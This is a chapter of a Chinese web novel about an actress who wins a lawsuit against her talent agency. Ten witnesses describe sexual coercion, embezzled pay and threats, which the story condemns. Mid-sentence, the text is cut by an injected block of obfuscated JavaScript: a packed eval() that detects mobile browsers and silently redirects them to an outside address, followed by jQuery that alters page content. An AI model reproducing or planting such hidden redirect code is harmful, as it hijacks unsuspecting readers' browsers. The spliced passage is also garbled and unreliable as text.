三个月的时间，足以让舆论翻涌，也足以让真相沉淀。北京市朝阳区人民法院第三审判庭外，天刚蒙蒙亮就被密密麻麻的媒体围得水泄不通，长枪短炮架在入口两侧，记者们裹着外套搓着手，眼神里满是焦灼与期待——这场“沈小鱼诉星光传媒”案，早已不只是一场艺人与经纪公司的纠纷，更是撕开娱乐圈潜规则的关键一战。
八点二十分，黑色轿车的引擎声划破清晨的宁静。车刚停稳，记者们便疯了似的往前挤，快门声瞬间连成一片。车门打开，沈小鱼走了下来，没有华丽礼服，没有精致妆容，素面朝天的脸上透着几分清冽，一身极简的白衬衫配黑色西装裤，长发利落地扎成马尾，手里拎着一个边角磨得发亮的厚重公文包，每一步都沉稳得像踩在人心上。
“沈小姐！星光传媒反诉你诽谤并索赔五百万，你有信心胜诉吗？”
“传闻你原本联系的三位证人临时变卦，是被星光传媒施压了吗？”
“你今天传唤的证人里，有星光传媒的前高管吗？”
问题如潮水般涌来，话筒几乎要戳到她的脸上。沈小鱼停下脚步，微微抬眼，目光平静地扫过镜头，没有多余的辩解，只一字一句地说：“法庭上，用证据说话。”
话音落，她转身径直走进法院，背影挺拔，没有一丝犹豫。身后的记者们依旧在追问，却没人再敢上前阻拦——这个曾经被全网黑、被追债逼到绝境的女孩，如今眼底的坚定，早已让人不敢小觑。
审判庭内，气氛压抑得让人喘不过气。旁听席座无虚席，严华坐在第一排正中央，一身黑色西装，气场强大，身边是秦屿和《女弈》剧组的几位主创，每个人脸上都带着凝重；李强、阿斌和小武坐在严华身后，穿着一身笔挺的定制西装——这是他们攒钱买的，说是“沈总上法庭，咱们不能输了气势”，三个大男人坐得笔直，双手放在膝上，表情严肃得像要上战场。
被告席上，星光传媒老板王建国面色阴沉地坐着，五十多岁的年纪，头发梳得一丝不苟，昂贵的定制西装衬得他依旧派头十足，可眼底的焦躁却藏不住。他身边坐着三位业内顶尖的律师，个个西装革履，手里捧着厚厚的案卷，神情倨傲，显然没把沈小鱼这个“新人原告”放在眼里。
证人席区域的角落，梅姐低着头，双手紧紧攥着包带，头发散乱地贴在脸颊上，脸色苍白如纸，自沈小鱼走进来，她就没敢抬眼多看一眼，仿佛多看一秒都是煎熬。
九点整，法槌“咚”的一声落下，法官身着法袍入席，庭审正式开始。
沈小鱼的律师率先起身，条理清晰地陈述诉讼请求：“请求法院依法确认原告沈小鱼与被告星光传媒签订的《艺人经纪合同》无效；判令被告返还挪用原告劳动收入三百二十万元；判令被告赔偿原告精神损害抚慰金一百万元；判令被告就职场性骚扰相关行为，在国家级媒体上公开向原告道歉。”
话音刚落，星光传媒的辩护律师立刻起身反驳，语气尖锐：“我方反对！原告与被告签订的合同系双方自愿，条款清晰合法，不存在无效情形！相反，原告在合同期内擅自解约，已构成严重违约，应向我方支付违约金五百万元！所谓‘挪用收入’，是合同约定的经纪分成与运营成本扣除，合法合规；‘职场性骚扰’更是无稽之谈，纯属原告走红后忘恩负义，为博眼球恶意诋毁被告声誉！”
律师拿出早已准备好的合同复印件、财务报表，一一举证，言辞犀利，句句都往沈小鱼的“软肋”上戳。旁听席上一片骚动，记者们飞快地记录着，李强气得攥紧了拳头，要不是阿斌按住他，差点就要站起来反驳。
沈小鱼却始终平静地坐在原告席上，脊背挺得笔直，偶尔拿起笔，在笔记本上快速记录着什么，脸上没有丝毫慌乱——她早已料到对方会倒打一耙，这三个月里，她和律师团队早已收集好了所有证据。
第一轮交锋结束，法官看向沈小鱼，语气严肃：“原告，针对你提出的职场性骚扰指控，是否有相关证据提交？”
“有。”沈小鱼缓缓起身，动作从容，从随身的公文包里拿出一支银色录音笔，递给书记员，“这是我提交的第一份证据，里面包含三段录音，均能证明被告存在职场性骚扰邀约及恶意胁迫行为。”
录音笔被当庭播放，清晰的声音透过音响传遍整个审判庭。
第一段是两年前的微信语音，梅姐的声音带着小心翼翼的劝说：“小鱼啊，今晚王总有个饭局，点名要你去。穿漂亮点，懂事点，别让王总不高兴，对你以后的资源有好处。”
第二段是一个月后，星光传媒前经纪人的声音，充满威胁：“沈小鱼，你别给脸不要脸！王总看得上你是你的福气，多少人想贴上去都没机会！这圈子就这么现实，要么听话陪好，要么滚出娱乐圈，违约金你赔得起吗？”
第三段录音的背景音格外嘈杂，像是在KTV包厢里，夹杂着酒杯碰撞声和笑声，王建国醉醺醺的声音格外刺耳：“沈小鱼？那小丫头片子……长得还行，就是太倔。不过没事，合同捏在我手里，她跑不了。捧红她？呵，费那劲捧她，不就是为了让她陪睡还债！等她再红点，能卖个好价钱……”
“哗啦——”
录音说到这里，被一声尖锐的玻璃碎裂声打断，却已足够致命。审判庭内瞬间炸开了锅，旁听席上的人纷纷交头接耳，记者们疯了似的拍照，连法官都皱起了眉。
被告席上的王建国脸色瞬间惨白如纸，猛地拍桌站起来：“假的！这是伪造的！我没有说过这种话！”
他的辩护律师立刻起身：“反对！法官大人，这段录音来源不明，涉嫌非法取证，不能作为有效证据采信！”
沈小鱼的律师从容回应：“法官大人，该录音的提供者愿意出庭作证，证明录音的真实性与合法性。且该录音内容涉及刑事犯罪线索，根据相关法律规定，应予以采信。”
法官敲下法槌：“反对无效。传证人到庭。”
法警带进来一个年轻女孩，二十出头的年纪，穿着洗得发白的外套，脸色苍白，走路时双腿不停发抖，眼神里满是恐惧，却依旧攥紧了拳头。她是星光传媒前练习生苏晓，三个月前刚和公司解约。
“证人，请陈述你的身份及与本案的关系。”
苏晓握着话筒，声音抖得不成样子，却一字一句说得清晰：“我……我叫苏晓，2022年进入星光传媒当练习生，2024年10月解约。那段KTV的录音……是我录的。”
她深吸一口气，像是鼓足了毕生的勇气，抬起头，目光直视王建国，眼泪却忍不住掉了下来：“两年前，王总也让我去陪酒，我不肯，他就威胁我要雪藏我，还说沈小鱼学姐也被他逼着陪酒，迟早会屈服。那天我偷偷跟着去了KTV，在包厢外开了录音，想留个证据……后来他逼我和一个投资人发生关系，我反抗，却被公司关了三天，最后还被强迫去医院堕了胎……”
“我不敢说，也不敢报警，我怕他毁了我，怕我爸妈知道……”苏晓捂着脸，哭得撕心裂肺，“直到沈学姐起诉星光传媒，我才知道，原来有人敢站出来……沈学姐，谢谢你，谢谢你让我有勇气说出这些。”
审判庭内一片寂静，许多女性旁听者悄悄抹起了眼泪，严华的脸色愈发凝重，李强三人红了眼眶，连沈小鱼的指尖都微微颤抖——她知道行业黑幕，却没想到会这么肮脏。
王建国气得浑身发抖，却一句话也说不出来，他的律师脸色铁青，只能低声安慰他。
法官沉默了几秒，看向沈小鱼：“原告，是否有其他证据或证人需要提交？”
“有。”沈小鱼点头，目光坚定，“我申请传唤第二位证人，星光传媒前财务总监，张诚。”
张诚走到证人席上，神色沉稳，他提交了一叠厚厚的财务流水和账册复印件：“我在星光传媒担任财务总监五年，2024年8月辞职。公司长期做两套账，一套给艺人看，一套是真实账目。沈小鱼女士在拍摄《荒野》时的片酬共计四百八十万元，按照合同约定，艺人应得七成，即三百三十六万元，但公司实际只支付了十六万元，剩余三百二十万元被公司截留，用于王建国个人挥霍。”
他拿出银行转账记录、报销凭证，一一对应：“这些都是真实账目复印件，原件我已提交给法院，所有截留款项都有据可查。”
第三位证人，是被星光传媒拖欠稿费两年的编剧陈默，他提交了剧本合同和催款记录，证明公司长期拖欠创作者报酬；第四位，是被公司强迫整容、术后留下后遗症的模特李娜；第五位，是被公司安排“陪酒”后被雪藏的新人演员……
沈小鱼一共传唤了十个证人。他们来自不同岗位，有着不同的遭遇，却都曾被星光传媒压榨、胁迫。每个人站上证人席，都像是揭开了娱乐圈的一块疮疤，有人哭，有人愤怒，有人麻木，却都在说出真相的那一刻，露出了解脱的神情。
他们每个人最后都会看向沈小鱼，那眼神里有感激，有愧疚，也有敬佩——感激她敢站出来，愧疚自己曾经的沉默，敬佩她在绝境里依旧坚守的勇气。
轮到梅姐时，她已经哭花了妆，走到证人席上，双腿一软，差点摔倒。
“我……我是星光传媒的经纪人梅姐，也是沈小鱼曾经的经纪人。”她的声音破碎不堪，不敢看沈小鱼的眼睛，“我知道那些事不对，我知道合同里的隐藏条款是陷阱，我知道王总让我安排小鱼去陪酒是犯罪……可我没办法，我儿子在国外读书，每年要花几十万学费，我老公卧病在床，全靠我这份工作支撑。”
“王总说，我不做，有的是人做，他会让我儿子在国外待不下去，会让我老公的医药费断供……我怕，我只能听他的。”梅姐抬起头，眼泪汹涌地往下掉，直直地看向沈小鱼，“小鱼，对不起，三年前你刚签进来，那么信任我，喊我梅姐，说想让妈妈过上好日子……我却把你往火坑里推。我每天晚上都做噩梦，梦到你恨我，梦到那些被我安排去陪酒的女孩……我错了，我真的错了。”
审判庭内鸦雀无声，所有人都看向沈小鱼，想知道她会如何回应。
沈小鱼沉默了很久，缓缓站起身，目光平静地看着梅姐，声音很轻，却清晰地传遍整个审判庭：“我恨过你，梅姐。恨你骗我签不平等合同，恨你利用我的信任逼我去陪酒，恨你在我被全网黑的时候，选择沉默。”
她顿了顿，语气里没有了恨意，只剩下释然：“但今天，坐在这个法庭上，听着这么多人的故事，我突然明白了。在这个扭曲的系统里，每个人都可能是受害者，也可能在恐惧和贪婪里，变成加害者。你为了家人妥协，我为了妈妈挣扎，我们都曾被现实逼到绝境。”
她转向法官，也看向所有证人、旁听者，声音愈发坚定：“我起诉星光传媒，从来不是为了报复谁，不是为了争一口气，也不只是为了要回我的钱、我的尊严。我是想告诉所有人：这个行业的潜规则，该破了。新人的梦想，不该被明码标价；女性的身体，不是交易的筹码；创作者的心血，不该被肆意践踏。”
“我今天站在这里，不是一个人。”她的目光扫过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16953280|193092||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
十个证人，扫过严华、李强他们，“我身后，是所有曾经被欺负却不敢说话的人，是所有还在圈子里挣扎的新人，是所有相信‘干净的实力能赢’的傻子。”
说完，她缓缓坐下。审判庭内，久久无人说话，只有压抑的呼吸声。
法官敲下法槌：“现在休庭，合议庭进行评议，半小时后继续开庭。”
休庭的半小时里，外面早已天翻地覆。庭审直播的收视率再创新高，#沈小鱼庭审十个证人##星光传媒黑幕##娱乐圈潜规则该破了#等话题接连爆上热搜，每个证人的证词都被逐字逐句分析，网友们在评论区愤怒声讨星光传媒，星光传媒的股票彻底崩盘，股价暴跌70%，濒临退市。
审判庭内，李强偷偷凑到沈小鱼身边，从包里掏出一瓶温水，压低声音：“喝点水，你刚才……太牛逼了。”
沈小鱼接过水，拧开瓶盖喝了一口，看着他紧绷的脸，笑了：“李哥，你又说脏话了。”
“这时候不说脏话说什么！”李强眼眶通红，声音哽咽，“老子听着那些人说的，气得想揍王建国一顿！你放心，今天肯定能赢！”
“嗯，赢了再哭。”沈小鱼拍了拍他的胳膊，语气平静，心里却暖暖的——她知道，这一次，她不是孤军奋战。
半小时后，庭审继续。法官重新入席，拿起判决书，神色严肃地开始宣读。
“……经审理查明，被告星光传媒有限公司与原告沈小鱼签订的《艺人经纪合同》存在隐藏不平等条款，涉嫌合同欺诈，依据《中华人民共和国民法典》相关规定，该合同无效；被告存在挪用原告劳动收入、恶意拖欠片酬行为，有财务账册、银行流水等证据佐证；被告法定代表人王建国存在职场性骚扰邀约及胁迫行为，有录音、证人证言等证据佐证……”
每一句认定，都像一记重锤，砸在王建国心上。他的身体越坐越低，脸色从惨白变成灰败，最后瘫靠在椅背上，眼神空洞。
“……综上，本院判决如下：一、确认原告沈小鱼与被告星光传媒有限公司签订的《艺人经纪合同》无效；二、被告星光传媒有限公司于本判决生效之日起十日内，返还原告沈小鱼各项收入共计三百二十万元；三、被告赔偿原告精神损害抚慰金一百万元；四、被告就职场性骚扰相关行为，于本判决生效之日起十五日内，在国家级媒体上公开向原告道歉；五、驳回被告星光传媒有限公司的全部反诉请求。”
法官拿起法槌，重重落下：“本案诉讼费由被告承担。闭庭！”
赢了。
沈小鱼坐在原告席上，有三秒钟的空白，大脑里一片清明，又一片混沌。直到旁听席上爆发出雷鸣般的欢呼，她才缓缓回过神——严华站起来鼓掌，眼底满是赞许；秦屿激动地挥舞着拳头，喊着“小鱼牛逼”；李强、阿斌和小武抱在一起，又哭又笑，像三个打赢了仗的孩子。
记者们疯了似的往前挤，法警赶紧上前维持秩序；王建国在被告席上瘫软下去，他的律师脸色铁青，一言不发；十个证人坐在原地，有人哭，有人笑，都是解脱的模样。
沈小鱼慢慢站起来，她的律师走过来，紧紧握住她的手：“沈小姐，我们赢了。”
“嗯，赢了。”沈小鱼点头，声音有些沙哑，却带着前所未有的轻松。
她走出原告席，经过被告席时，王建国猛地抬起头，眼神怨毒得像要吃人，声音嘶哑地嘶吼：“沈小鱼，你以为你赢了？你断了圈子里所有人的财路，你以为你还能在娱乐圈待下去？我不会让你好过的！”
沈小鱼停下脚步，缓缓转过身，居高临下地看着他，眼底没有丝毫畏惧，只有一片平静：“王总，三年前，你逼我去陪酒的那天晚上，我包里放了一把水果刀。我想好了，如果你敢碰我，我就捅你，然后自杀。”
王建国的瞳孔骤然收缩，满脸难以置信。
“但我没拿出来。”沈小鱼笑了笑，那笑容里有释然，有坦荡，还有历经风雨后的通透，“不是因为我怕，是因为我想通了——为你这样的人去死，太不值得。我要活着，活得比你久，比你好，然后看着你，像今天这样，坐在被告席上，一无所有。”
她转身就走，身后传来王建国歇斯底里的吼叫，却很快被法警制止，淹没在众人的欢呼里。
走出审判庭，正午的阳光洒下来，刺眼却温暖。媒体再次围上来，闪光灯亮成一片，沈小鱼抬手遮了遮眼睛，然后放下手，平静地面对镜头。
“沈小姐，胜诉后你最想说什么？”
“接下来你会继续拍戏，还是会推动行业规则改革？”
沈小鱼等记者们问完，才缓缓开口，声音温柔却有力量：“我最想说的是，法律的正义，或许会迟到，但永远不会缺席。那些曾经受过的伤，那些不敢说的话，那些被压抑的梦想，终有一天，会在阳光下被看见。”
她顿了顿，目光坚定：“至于接下来的打算，明天上午十点，我会召开新闻发布会，届时，我会宣布一件重要的事。”
说完，她穿过人群，走向严华的车。上车前，她回头看了一眼法院庄严的大门，阳光洒在国徽上，金光闪闪，温暖而有力量。
她忽然想起母亲醒来那天，拉着她的手，虚弱却骄傲地说：“我女儿……是大明星。”
现在，她想立刻回到医院，告诉母亲：
妈，女儿不只是大明星。
女儿还是一个，敢把黑暗撕开，让阳光照进来的人。
而明天的新闻发布会，将是她照亮更多人的第一步。